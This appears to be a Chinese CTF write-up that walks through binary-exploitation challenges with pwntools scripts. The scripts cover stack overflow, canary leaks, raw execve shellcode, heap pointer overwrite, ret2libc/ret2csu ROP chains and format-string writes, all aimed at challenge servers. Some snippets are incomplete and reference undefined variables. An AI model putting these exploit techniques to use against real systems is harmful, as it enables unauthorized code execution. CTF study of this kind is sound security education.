1. 项目背景与挑战解析
最近在参与CTF竞赛时遇到了一系列有趣的二进制安全挑战,这些题目涵盖了从基础栈溢出到高级利用技巧的多个层面。作为一名安全研究员,我记录下了解决这些挑战的完整思路和具体实现方法,希望能为同样对二进制安全感兴趣的朋友提供参考。
这些题目主要考察以下几个方面的技能:
- 基础栈溢出利用
- 格式化字符串漏洞
- 堆利用技巧
- 高级ROP链构造
- 沙箱逃逸技术
- 各种保护机制的绕过方法
2. 基础栈溢出实战案例
2.1 简单栈溢出利用
在str_err这道题中,我们发现了一个典型的栈溢出漏洞。通过IDA分析,可以确认以下几点关键信息:
- 存在两个read函数调用,均可导致栈溢出
- 第一个read通过strcpy覆盖correct_password
- 第二个read可以直接覆盖返回地址
- 程序中存在明显的后门函数
利用思路非常直接:
- 第一个read填充任意数据(这里用了5个'a')
- 第二个read先写入正确的密码"Secret"
- 然后用空字节填充直到返回地址位置
- 最后覆盖返回地址为后门函数地址
python复制from pwn import *
p = remote('challenge2.pctf.top', 30987)
key = 0x40125B
ret = 0x40125A
payload1 = 5*b'a'
p.sendlineafter("Please input your username: ", payload1)
payload2 = b'Secret' + 98*b'\x00' + p64(ret) + p64(key)
p.sendafter("Please input your password: ", payload2)
p.interactive()
2.2 Canary保护绕过
在ret2bzdr题目中,程序开启了Canary保护,但存在格式化字符串漏洞可以利用:
- 首先通过格式化字符串泄露Canary值
- 然后构造ROP链调用后门函数
- 由于没有过滤"sh",可以直接获取shell
python复制from pwn import *
p = remote('challenge1.pctf.top', 30959)
p.recvuntil("can u solve canary?")
p.sendline(b"%23$p")
leak = p.recvline().strip()
canary = int(leak, 16)
ret = 0x40101a
payload = 136*b'a' + p64(canary) + b'a'*8 + p64(ret) + p64(0x4013AD)
p.sendline(payload)
p.sendlineafter("OH,NO!!!HACKER!!!DON'T COME!!!", b"sh")
p.interactive()
3. 高级利用技巧实战
3.1 PIE绕过与shellcode注入
func_err题目没有开启NX保护,但开启了PIE。利用思路如下:
- 通过gift函数的%p泄露栈地址
- 计算shellcode注入位置的偏移
- 直接注入shellcode并跳转执行
python复制from pwn import *
context(arch='amd64', os='linux')
p = remote('challenge1.pctf.top', 32067)
p.recvuntil(b'Can you cherish her :')
leak = int(p.recvline().strip(), 16)
shelladdr = leak - 28
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload = shellcode + b'a'*(40-len(shellcode)) + p64(shelladdr)
p.sendline(payload)
p.interactive()
3.2 整数溢出与类型转换
type_err题目考察了整数溢出和类型转换的知识点:
- 输入大于INT_MAX的数使其在转换为有符号整数时变为负数
- 满足题目设置的四个条件
- 使用2147483648这个特殊值同时满足所有条件
python复制from pwn import *
p = remote('challenge1.pctf.top', 32067)
p.sendlineafter("Input first number: ", "2147483648")
p.sendlineafter("Input second number: ", "2147483648")
p.interactive()
4. 堆利用实战案例
4.1 堆布局与函数指针覆盖
Slime_Smith题目看似复杂,实则考察了堆布局的基础知识:
- 第一个输入控制堆块大小(输入0获得0x10空间)
- 第二个堆块存储函数指针
- 两个堆块物理相邻,可以通过第一个堆块溢出覆盖函数指针
python复制from pwn import *
p = remote('challenge.imxbt.cn', 30839)
p.sendlineafter(">", "1")
p.sendlineafter(":", "0") # 第一个堆块大小
p.sendlineafter(":", "0") # 第二个堆块大小
p.send(p64(0x401336)) # 覆盖函数指针为后门地址
p.interactive()
4.2 数组越界与任意地址写
Build题目存在数组越界漏洞,可以实现任意地址写:
- 利用rand函数预测写入位置
- 通过多次返回main增加写入字节
- 最终构造ROP链实现利用
python复制from pwn import *
import ctypes
libc = ctypes.CDLL('./libc.so.6')
p = remote('challenge.imxbt.cn', 30441)
# 第一阶段:泄露libc地址
# ...(省略部分代码)
# 第二阶段:构造ROP链
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = flat(
ret,
pop_rdi,
binsh,
system
)
p.send(payload)
p.interactive()
5. 高级ROP技术应用
5.1 ret2csu技术详解
week3-csu题目完美展示了ret2csu技术的应用:
- 利用__libc_csu_init中的gadget控制多个寄存器
- 分阶段实现函数调用链
- 最终获取shell
python复制from pwn import *
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.imxbt.cn', 30250)
def csu(rdi, rsi, rdx, got):
return p64(0) + p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(got)
# 第一阶段:泄露write地址
payload = 40*b'b' + p64(ret) + p64(csuin) + csu(1, write, 0x10, write) + p64(csugo)
p.send(payload)
# 第二阶段:获取shell
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['write']
system = libc_base + libc.sym['system']
payload = p64(system) + b'/bin/sh\x00'
p.send(payload)
p.interactive()
6. 格式化字符串漏洞高级利用
6.1 非栈上格式化字符串写
week4-fmt题目展示了格式化字符串漏洞的高级利用技巧:
- 通过部分写修改返回地址
- 实现循环利用漏洞
- 最终将printf改为system获取shell
python复制from pwn import *
p = remote('challenge.imxbt.cn', 32059)
# 第一阶段:修改返回地址实现循环
payload = b'%p'*6 + b'%' + str(free-0x3d+5).encode() + b'c%ln'
payload += b'%' + str(back+0x1000000-free).encode() + b'c%hn'
p.send(payload)
# 第二阶段:修改printf为system
payload = b'%' + str(pr&0xff).encode() + b'c%12$hhn'
payload += b'%' + str(st&0xff).encode() + b'c%8$hhn'
p.send(payload)
# 最终获取shell
p.send(b'/bin/sh\x00')
p.interactive()
7. 多进制计算器实现
在解决CTF挑战时,还实现了一个通用的多进制计算器工具,可以处理1-40进制的数学运算:
python复制from pwn import *
import re
class UniversalBaseSolver:
def __init__(self):
self.base_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/"
def convert_from_base(self, num_str, base):
"""将指定进制的字符串转换为十进制整数"""
if base < 1 or base > 40:
return None
try:
if base == 1:
return len(num_str)
elif base <= 36:
return int(num_str.upper(), base)
else:
char_map = {char: idx for idx, char in enumerate(self.base_chars[:base])}
result = 0
for char in num_str.upper():
result = result * base + char_map[char]
return result
except:
return None
def solve_question(self, question_text):
"""主解题函数"""
base_match = re.search(r'base\s*(\w+)', question_text)
if not base_match:
return None
base = self.detect_base(base_match.group(1))
num1, op, num2 = self.extract_expression(question_text)
a = self.convert_from_base(num1, base)
b = self.convert_from_base(num2, base)
if op == '+': result = a + b
elif op == '*': result = a * b
elif op == '-': result = a - b
elif op == '/': result = a // b
elif op == '%': result = a % b
else: return None
return self.convert_to_base(result, base)
8. 经验总结与避坑指南
在解决这些挑战的过程中,积累了一些宝贵的经验:
-
检查保护机制:首先总是用checksec检查程序开启了哪些保护(NX, PIE, Canary等),这会直接影响利用方式。
-
逆向分析要点:
- 寻找明显的漏洞点(如不安全的函数调用)
- 注意程序中的后门函数或有用gadget
- 分析程序逻辑中的约束条件
-
利用技巧:
- Canary泄露:通过格式化字符串或栈读
- PIE绕过:利用信息泄露计算基址
- 无NX保护:直接注入shellcode
- 全保护:使用ROP技术
-
调试技巧:
- 使用GDB配合peda/pwndbg插件
- 关键断点设置在漏洞触发点前
- 观察栈和寄存器状态变化
-
常见问题:
- 偏移计算错误:仔细检查padding长度
- 地址对齐问题:注意栈对齐要求(如movaps指令)
- 交互时序问题:合理使用recvuntil等同步方法
这些挑战从简单到复杂,涵盖了二进制安全的多个重要知识点。通过实践这些案例,我对各种漏洞利用技术有了更深入的理解。记住,在CTF竞赛和实际安全研究中,耐心和细致的分析往往比复杂的攻击技巧更重要。